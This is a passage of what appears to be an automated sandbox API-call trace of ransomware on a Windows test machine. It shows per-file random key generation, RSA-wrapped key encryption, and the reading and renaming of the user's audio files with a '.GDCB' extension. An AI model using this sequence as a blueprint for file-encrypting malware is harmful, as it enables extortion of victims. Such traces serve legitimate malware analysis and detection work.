dwFlags=0x0) returned 1 [0140.499] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed0e0) returned 1 [0140.507] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x34d4e8) returned 1 [0140.507] CryptGetKeyParam (in: hKey=0x34d4e8, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.507] CryptEncrypt (in: hKey=0x34d4e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0140.507] GetLastError () returned 0x0 [0140.507] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0140.507] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\RefPD1CxYRt5f\\nUZfgOp3Di0KuKreL.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\refpd1cxyrt5f\\nuzfgop3di0kukrel.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0140.507] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0140.508] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0140.508] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0xd482, lpOverlapped=0x0) returned 1 [0140.517] VirtualAlloc (lpAddress=0x0, dwSize=0xd490, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0140.522] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\RefPD1CxYRt5f\\nUZfgOp3Di0KuKreL.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\refpd1cxyrt5f\\nuzfgop3di0kukrel.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\RefPD1CxYRt5f\\nUZfgOp3Di0KuKreL.wav.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\refpd1cxyrt5f\\nuzfgop3di0kukrel.wav.gdcb")) returned 1 [0140.523] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecca0) returned 1 [0140.526] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.526] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.526] CryptGenRandom (in: hProv=0x2ecca0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0140.526] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0140.526] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0140.528] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.529] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.529] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0140.529] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.529] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0140.537] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x32aa70) returned 1 [0140.537] CryptGetKeyParam (in: hKey=0x32aa70, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.537] CryptEncrypt (in: hKey=0x32aa70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0140.537] GetLastError () returned 0x0 [0140.537] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.537] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0140.544] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x359398) returned 1 [0140.544] CryptGetKeyParam (in: hKey=0x359398, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.544] CryptEncrypt (in: hKey=0x359398, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0140.544] GetLastError () returned 0x0 [0140.544] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.544] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\RefPD1CxYRt5f\\y4zEZYY.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\refpd1cxyrt5f\\y4zezyy.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0140.545] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0140.545] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0140.545] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0xb100, lpOverlapped=0x0) returned 1 [0140.553] VirtualAlloc (lpAddress=0x0, dwSize=0xb100, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0140.557] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\RefPD1CxYRt5f\\y4zEZYY.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\refpd1cxyrt5f\\y4zezyy.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\RefPD1CxYRt5f\\y4zEZYY.wav.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\refpd1cxyrt5f\\y4zezyy.wav.gdcb")) returned 1 [0140.558] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0140.558] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0140.558] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0140.558] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0140.559] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0140.559] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0140.559] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0140.559] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0140.564] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0140.566] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.566] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.566] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0140.566] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.566] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ed0e0) returned 1 [0140.569] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.569] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.569] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0140.569] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0140.569] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0140.576] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x28a8e00) returned 1 [0140.576] CryptGetKeyParam (in: hKey=0x28a8e00, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0140.576] CryptEncrypt (in: hKey=0x28a8e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0140.576] GetLastError () returned 0x0 [0140.576] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.576] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0140.583] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x28a8cc0) returned 1 [0140.583] CryptGetKeyParam (in: hKey=0x28a8cc0, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0140.583] CryptEncrypt (in: hKey=0x28a8cc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0140.584] GetLastError () returned 0x0 [0140.584] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.584] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\Smjrlot\\1 VB53\\IKWXe_gF5Yuhj.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\smjrlot\\1 vb53\\ikwxe_gf5yuhj.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0140.584] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0140.584] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0140.584] ReadFile (in: hFile=0x4f0, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285efc0*=0xb154, lpOverlapped=0x0) returned 1 [0140.592] VirtualAlloc (lpAddress=0x0, dwSize=0xb160, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0140.597] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\Smjrlot\\1 VB53\\IKWXe_gF5Yuhj.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\smjrlot\\1 vb53\\ikwxe_gf5yuhj.m4a"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\Smjrlot\\1 VB53\\IKWXe_gF5Yuhj.m4a.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\smjrlot\\1 vb53\\ikwxe_gf5yuhj.m4a.gdcb")) returned 1 [0140.598] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ed0e0) returned 1 [0140.600] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.601] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.601] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0140.601] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0140.601] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0140.603] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.603] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.603] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0140.603] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.603] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ed0e0) returned 1 [0140.611] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x28a8ec0) returned 1 [0140.611] CryptGetKeyParam (in: hKey=0x28a8ec0, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0140.611] CryptEncrypt (in: hKey=0x28a8ec0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0140.611] GetLastError () returned 0x0 [0140.611] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0140.611] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0140.619] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x28a8fc0) returned 1 [0140.619] CryptGetKeyParam (in: hKey=0x28a8fc0, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0140.619] CryptEncrypt (in: hKey=0x28a8fc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0140.619] GetLastError () returned 0x0 [0140.619] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.619] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\Smjrlot\\1 VB53\\Ill9aA7yaQL1EfF2s3.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\smjrlot\\1 vb53\\ill9aa7yaql1eff2s3.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0140.619] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0140.619] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0140.620] ReadFile (in: hFile=0x4f0, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285efc0*=0x9ce8, lpOverlapped=0x0) returned 1 [0140.629] VirtualAlloc (lpAddress=0x0, dwSize=0x9cf0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0140.633] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\Smjrlot\\1 VB53\\Ill9aA7yaQL1EfF2s3.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\smjrlot\\1 vb53\\ill9aa7yaql1eff2s3.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\Smjrlot\\1 VB53\\Ill9aA7yaQL1EfF2s3.wav.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\smjrlot\\1 vb53\\ill9aa7yaql1eff2s3.wav.gdcb")) returned 1 [0140.634] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0140.637] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.637] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.637] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0140.637] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.637] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0140.639] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.639] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.639] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0140.639] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.639] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0140.647] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8d00) returned 1 [0140.647] CryptGetKeyParam (in: hKey=0x28a8d00, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.647] CryptEncrypt (in: hKey=0x28a8d00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0140.648] GetLastError () returned 0x0 [0140.648] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0140.648] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0140.655] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a9000) returned 1 [0140.655] CryptGetKeyParam (in: hKey=0x28a9000, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.655] CryptEncrypt (in: hKey=0x28a9000, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0140.655] GetLastError () returned 0x0 [0140.655] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0140.655] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\Smjrlot\\7m-0Y.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\smjrlot\\7m-0y.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0140.655] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0140.656] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0140.656] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x2201, lpOverlapped=0x0) returned 1 [0140.666] VirtualAlloc (lpAddress=0x0, dwSize=0x2210, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0140.669] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\Smjrlot\\7m-0Y.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\smjrlot\\7m-0y.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\Smjrlot\\7m-0Y.wav.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\smjrlot\\7m-0y.wav.gdcb")) returned 1 [0140.671] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecca0) returned 1 [0140.674] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.674] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.674] CryptGenRandom (in: hProv=0x2ecca0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0140.674] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0140.674] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0140.677] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0140.677] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0140.677] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0140.677] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0140.677] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0140.685] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8bc0) returned 1 [0140.685] CryptGetKeyParam (in: hKey=0x28a8bc0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.685] CryptEncrypt (in: hKey=0x28a8bc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0140.685] GetLastError () returned 0x0 [0140.685] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0140.685] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0140.692] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8e40) returned 1 [0140.692] CryptGetKeyParam (in: hKey=0x28a8e40, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0140.692] CryptEncrypt (in: hKey=0x28a8e40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0140.693] GetLastError () returned 0x0 [0140.693] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0140.693] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\Smjrlot\\XZ8M.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\smjrlot\\xz8m.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0140.693] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0140.693] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0140.693] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x103f2, lpOverlapped=0x0) returned 1 [0140.703] VirtualAlloc (lpAddress=0x0, dwSize=0x10400, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0140.708] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\Smjrlot\\XZ8M.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\smjrlot\\xz8m.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\Smjrlot\\XZ8M.wav.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\smjrlot\\xz8m.wav.gdcb")) returned 1 [0140.709] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0140.709] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0140.709] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0140.709] SHGetSpecialFolderPathW (in: 